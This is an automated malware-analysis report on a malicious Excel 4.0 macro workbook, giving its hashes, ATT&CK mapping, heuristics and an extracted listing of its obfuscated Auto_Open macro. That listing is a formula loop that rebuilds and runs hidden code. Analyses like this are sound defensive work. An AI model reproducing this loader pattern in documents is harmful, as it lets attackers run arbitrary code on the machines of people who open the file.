Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 000c03ceda09cdbd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:29:05 Authoring application: Microsoft Excel First seen: 2021-05-29
MD5: c34980b0322592fd1666d7101ffb47a3 SHA-1: a6401788b17c4e967c1381e67ef5f6727bd023b6 SHA-256: 000c03ceda09cdbdd8f4b3352d226c675bd5094d3e93f4634660f7a014ba0c95
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open defined name, indicating it will execute macros upon opening. The heuristics indicate the use of dangerous formula APIs, specifically the RUN function, which is commonly used to download and execute arbitrary code. The macro sheet itself contains a large amount of obfuscated data, suggesting it is designed to hide its malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: ad8a1799b911947bf6430f1fbcd0a379149348e4a4810e53da397501041dcadf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kixMAfssj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G165 
' 0018     22 LABEL : Cell Value, String Constant - bguhZZB len=0 
' 0018     23 LABEL : Cell Value, String Constant - CUqyUgNJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - FfjJQUOCXos len=0 
' 0018     25 LABEL : Cell Value, String Constant - fXrOWadLyy len=0 
' 0018     22 LABEL : Cell Value, String Constant - GJnKfcE len=0 
' 0018     22 LABEL : Cell Value, String Constant - gkHZgeG len=0 
' 0018     25 LABEL : Cell Value, String Constant - hiuVRMBmOM len=0 
' 0018     26 LABEL : Cell Value, String Constant - JrlqYLMrKZV len=0 
' 0018     27 LABEL : Cell Value, String Constant - MhujMkflzDbB len=0 
' 0018     24 LABEL : Cell Value, String Constant - mJCSxpsMj len=0 
' 0018     25 LABEL : Cell Value, String Constant - MLyJkOwLhg len=0 
' 0018     25 LABEL : Cell Value, String Constant - UcoooVEnwT len=0 
' 0018     27 LABEL : Cell Value, String Constant - WpTGGKnghaeT len=0 
' 0018     26 LABEL : Cell Value, String Constant - xRwazeKkUkj len=0 
' 0018     22 LABEL : Cell Value, String Constant - YfYwNfN len=0 
' 0018     26 LABEL : Cell Value, String Constant - YmTbOADUKWx len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZdJvLOfMAhw len=0 
' 0018     23 LABEL : Cell Value, String Constant - ziwRtNYK len=0 
' 0018     21 LABEL : Cell Value, String Constant - zxMbwE len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZXPRPUYrEZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kixMAfssj,G65,"SET.NAME("zxMbwE",VALUE("0"))",""
'  kixMAfssj,G70,"SET.NAME("MhujMkflzDbB",zxMbwE)",""
'  kixMAfssj,G74,"SET.NAME("ziwRtNYK",zxMbwE)",""
'  kixMAfssj,G77,"SET.NAME("UcoooVEnwT",COUNTA(FfjJQUOCXos))",""
'  kixMAfssj,G80,"SET.NAME("ZXPRPUYrEZ",COUNTA(bguhZZB))",""
'  kixMAfssj,G82,[],""
'  kixMAfssj,G85,"SET.NAME("gkHZgeG","")",""
'  kixMAfssj,G90,"MhujMkflzDbB",""
'  kixMAfssj,G94,"SET.NAME("YmTbOADUKWx",HLOOKUP("*",FfjJQUOCXos,MhujMkflzDbB,FALSE))",""
'  kixMAfssj,G99,"MLyJkOwLhg",""
'  kixMAfssj,G103,"SET.NAME("mJCSxpsMj",zxMbwE)",""
'  kixMAfssj,G106,[],""
'  kixMAfssj,G108,"mJCSxpsMj",""
'  kixMAfssj,G113,"fXrOWadLyy",""
'  kixMAfssj,G118,"JrlqYLMrKZV",""
'  kixMAfssj,G122,"hiuVRMBmOM",""
'  kixMAfssj,G125,"SET.NAME("xRwazeKkUkj",VALUE(HLOOKUP("*",bguhZZB,hiuVRMBmOM,FALSE)))",""
'  kixMAfssj,G130,"YfYwNfN",""
'  kixMAfssj,G135,"gkHZgeG",""
'  kixMAfssj,G137,"ziwRtNYK",""
'  kixMAfssj,G141,NEXT(),""
'  kixMAfssj,G143,"GJnKfcE",""
'  kixMAfssj,G148,"SET.NAME("f",INT(T(FORMULA(T(gkHZgeG)&"",""&T(GJnKfcE)))))",""
'  kixMAfssj,G152,"ZdJvLOfMAhw",""
'  kixMAfssj,G156,NEXT(),""
'  kixMAfssj,G161,RETURN(),""
'  kixMAfssj,G187,"SET.NAME("CUqyUgNJ",G65)",""
'  kixMAfssj,G191,"FfjJQUOCXos",""
'  kixMAfssj,G193,"SET.NAME("bguhZZB",R44C14)",""
'  kixMAfssj,G195,"SET.NAME("ZdJvLOfMAhw",203)",""
'  kixMAfssj,G197,"SET.NAME("WpTGGKnghaeT",7)",""
'  kixMAfssj,G202,CUqyUgNJ(),""
'  kixMAfssj,G203,HALT(),""